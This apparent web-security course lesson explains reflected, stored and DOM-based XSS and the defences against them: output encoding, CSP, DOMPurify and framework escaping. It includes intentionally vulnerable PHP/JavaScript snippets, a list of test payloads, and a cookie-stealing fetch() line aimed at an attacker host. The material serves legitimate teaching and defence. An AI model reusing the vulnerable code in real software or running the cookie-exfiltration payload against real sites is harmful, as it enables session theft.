Security & Performance

Cross-Site Scripting (XSS)

18 min Lesson 2 of 35

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is one of the most common and dangerous web application vulnerabilities. XSS attacks occur when an attacker injects malicious scripts into web pages viewed by other users. These scripts execute in the victim's browser, potentially stealing cookies, session tokens, or other sensitive information, or performing actions on behalf of the victim.

Understanding XSS

XSS vulnerabilities arise when applications include untrusted data in web pages without proper validation or escaping. The browser cannot distinguish between legitimate scripts from the application and malicious scripts injected by an attacker, so it executes both.

Warning: XSS is consistently ranked in the OWASP Top 10. According to security reports, XSS vulnerabilities are found in approximately two-thirds of all applications.

Types of XSS Attacks

1. Reflected XSS (Non-Persistent)

Reflected XSS occurs when malicious scripts are reflected off a web server, typically through URL parameters or form submissions. The attacker crafts a malicious URL and tricks the victim into clicking it.

Example vulnerable code:
<?php
// Vulnerable to reflected XSS
echo "Search results for: " . $_GET['search'];
?>

Malicious URL:
https://example.com/search?search=<script>alert(document.cookie)</script>

When the victim clicks this link, the script executes in their browser.
Note: Reflected XSS requires the attacker to deliver the malicious payload to the victim, often through phishing emails or malicious links on other websites.

2. Stored XSS (Persistent)

Stored XSS occurs when malicious scripts are permanently stored on the target server (in a database, message forum, comment field, etc.) and later served to other users. This is generally more dangerous than reflected XSS because it doesn't require the attacker to deliver the payload directly to victims.

Example vulnerable code:
<?php
// Storing user comment without sanitization
$comment = $_POST['comment'];
$db->query("INSERT INTO comments (text) VALUES ('$comment')");

// Later, displaying comments without escaping
$comments = $db->query("SELECT text FROM comments");
foreach ($comments as $comment) {
echo $comment['text']; // Dangerous!
}
?>

Attacker submits:
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>

This script now executes for every user who views the comments.
Warning: Stored XSS can affect multiple users automatically without requiring any social engineering from the attacker. It's particularly dangerous in applications with many users, like social networks or forums.

3. DOM-based XSS

DOM-based XSS occurs when client-side JavaScript code processes data from an untrusted source (like the URL) and writes it back to the DOM in an unsafe way. The vulnerability exists entirely in client-side code, and the malicious payload may never be sent to the server.

Example vulnerable JavaScript:
// Vulnerable to DOM-based XSS
const urlParams = new URLSearchParams(window.location.search);
const message = urlParams.get('message');
document.getElementById('output').innerHTML = message; // Dangerous!

Malicious URL:
https://example.com/page?message=<img src=x onerror="alert(document.cookie)">

The payload executes when the JavaScript writes to innerHTML.
Tip: DOM-based XSS can be harder to detect because traditional security tools that only analyze server-side code won't catch it. Use browser developer tools and client-side security scanning tools.

XSS Prevention Techniques

1. Output Encoding/Escaping

The primary defense against XSS is to encode output data based on the context where it will be used. Different contexts require different encoding schemes:

HTML Context:
<?php
// Safe: HTML entity encoding
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
?>

JavaScript Context:
<script>
// Safe: JSON encoding
const userName = <?php echo json_encode($userName); ?>;
</script>

URL Context:
<a href="<?php echo urlencode($userInput); ?>">Link</a>

CSS Context:
<style>
body { background: <?php echo preg_replace('/[^a-zA-Z0-9#]/', '', $color); ?>; }
</style>
Note: Always encode output, not input. Encoding input can lead to double-encoding issues and doesn't protect against stored XSS where data might be used in multiple contexts.

2. Content Security Policy (CSP)

CSP is a browser security feature that helps prevent XSS by allowing you to specify which sources of content are trusted. It's implemented as an HTTP header.

Basic CSP header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline';

Strict CSP with nonce:
Content-Security-Policy: script-src 'nonce-random123';

HTML:
<script nonce="random123">
// Only scripts with matching nonce will execute
</script>

PHP implementation:
<?php
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: script-src 'nonce-$nonce'");
?>
<script nonce="<?php echo $nonce; ?>">
// Safe inline script
</script>
Tip: Start with CSP in report-only mode to identify legitimate scripts that would be blocked: Content-Security-Policy-Report-Only. This helps you refine your policy before enforcement.

3. Input Validation

While output encoding is the primary defense, input validation provides an additional layer of security by rejecting clearly malicious input:

<?php
// Whitelist validation for expected format
function validateEmail($email) {
return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
}

// Reject input containing script tags
function containsScript($input) {
return preg_match('/<script[^>]*>.*?<\/script>/is', $input) === 1;
}

if (containsScript($_POST['comment'])) {
die('Invalid input detected');
}
?>
Warning: Input validation alone is insufficient for XSS prevention. Attackers can bypass filters using encoding, alternative tags, or event handlers. Always combine input validation with output encoding.

4. Using Safe APIs

Modern web frameworks and JavaScript APIs provide safer alternatives to dangerous functions:

// Unsafe: innerHTML allows script execution
element.innerHTML = userInput; // Dangerous!

// Safe: textContent only inserts text, not HTML
element.textContent = userInput; // Safe

// Safe: createElement with textContent
const div = document.createElement('div');
div.textContent = userInput;
parentElement.appendChild(div);

// For inserting trusted HTML, use DOMPurify
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

5. DOMPurify Library

DOMPurify is a robust XSS sanitizer for HTML, MathML, and SVG. It's particularly useful when you need to allow some HTML formatting but want to remove dangerous elements:

// Using DOMPurify in JavaScript
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.0.0/dist/purify.min.js"></script>
<script>
const dirty = '<p>Hello <script>alert(1)</script></p>';
const clean = DOMPurify.sanitize(dirty);
// Result: <p>Hello </p>

// With options to allow specific tags
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'strong', 'em', 'a'],
ALLOWED_ATTR: ['href']
});
</script>

// Server-side with PHP (using HTMLPurifier)
<?php
require_once 'HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean = $purifier->purify($dirty);
?>

Framework-Specific Protection

Modern web frameworks often include built-in XSS protection:

// React: Automatically escapes by default
const element = <div>{userInput}</div>; // Safe
// Dangerous (only if you explicitly use it):
const element = <div dangerouslySetInnerHTML={{__html: userInput}} />;

// Vue.js: Text interpolation is safe
<div>{{ userInput }}</div> <!-- Safe -->
<div v-html="userInput"></div> <!-- Dangerous -->

// Laravel Blade: Escaped by default
{{ $userInput }} <!-- Safe, escaped -->
{!! $userInput !!} <!-- Dangerous, unescaped -->

// Angular: Sanitizes by default
<div>{{ userInput }}</div> <!-- Safe -->
<div [innerHTML]="userInput"></div> <!-- Sanitized by default -->
Note: Even with framework protection, developers can disable it for specific cases. Always be cautious when using "unsafe" or "raw" output methods and ensure you have a good reason and proper sanitization.

Testing for XSS Vulnerabilities

Regular testing helps identify XSS vulnerabilities before attackers exploit them:

Basic XSS test payloads:
1. <script>alert('XSS')</script>
2. <img src=x onerror="alert('XSS')">
3. <svg onload="alert('XSS')">
4. '"><script>alert(String.fromCharCode(88,83,83))</script>
5. javascript:alert('XSS')

DOM-based XSS test:
https://example.com/page?param=<script>alert(document.domain)</script>

Stored XSS test:
Submit: <script>alert(document.cookie)</script>
Then check if it executes when viewing stored content.
Exercise: Create a simple comment system with the following requirements:
1. Allow users to submit comments with basic HTML formatting (bold, italic, links)
2. Implement proper XSS prevention using DOMPurify
3. Add a Content Security Policy header
4. Test with at least 5 different XSS payloads
5. Document which protection layers prevented each attack

Bonus: Implement both reflected and stored comment functionality, and test each separately.

Real-World XSS Impact

XSS attacks can lead to severe consequences:

  • Session Hijacking: Stealing session cookies to impersonate users
  • Credential Theft: Creating fake login forms to capture passwords
  • Malware Distribution: Redirecting users to malicious sites
  • Data Exfiltration: Accessing and stealing sensitive information
  • Website Defacement: Altering page content
  • Crypto Mining: Using visitor browsers for cryptocurrency mining
Warning: In 2018, British Airways suffered a data breach through XSS that exposed 380,000 payment card details. The attack was traced to a third-party JavaScript library that had been compromised.

Summary

XSS remains one of the most prevalent web vulnerabilities. Understanding the three types—reflected, stored, and DOM-based—is crucial for comprehensive protection. The defense strategy includes multiple layers: output encoding for the specific context, Content Security Policy headers, input validation, using safe APIs, and leveraging sanitization libraries like DOMPurify. Always prefer framework-provided escaping mechanisms and test thoroughly with realistic attack payloads.

Next Steps: In the next lesson, we'll explore SQL Injection and NoSQL Injection attacks, learning how to protect your databases from unauthorized access and manipulation.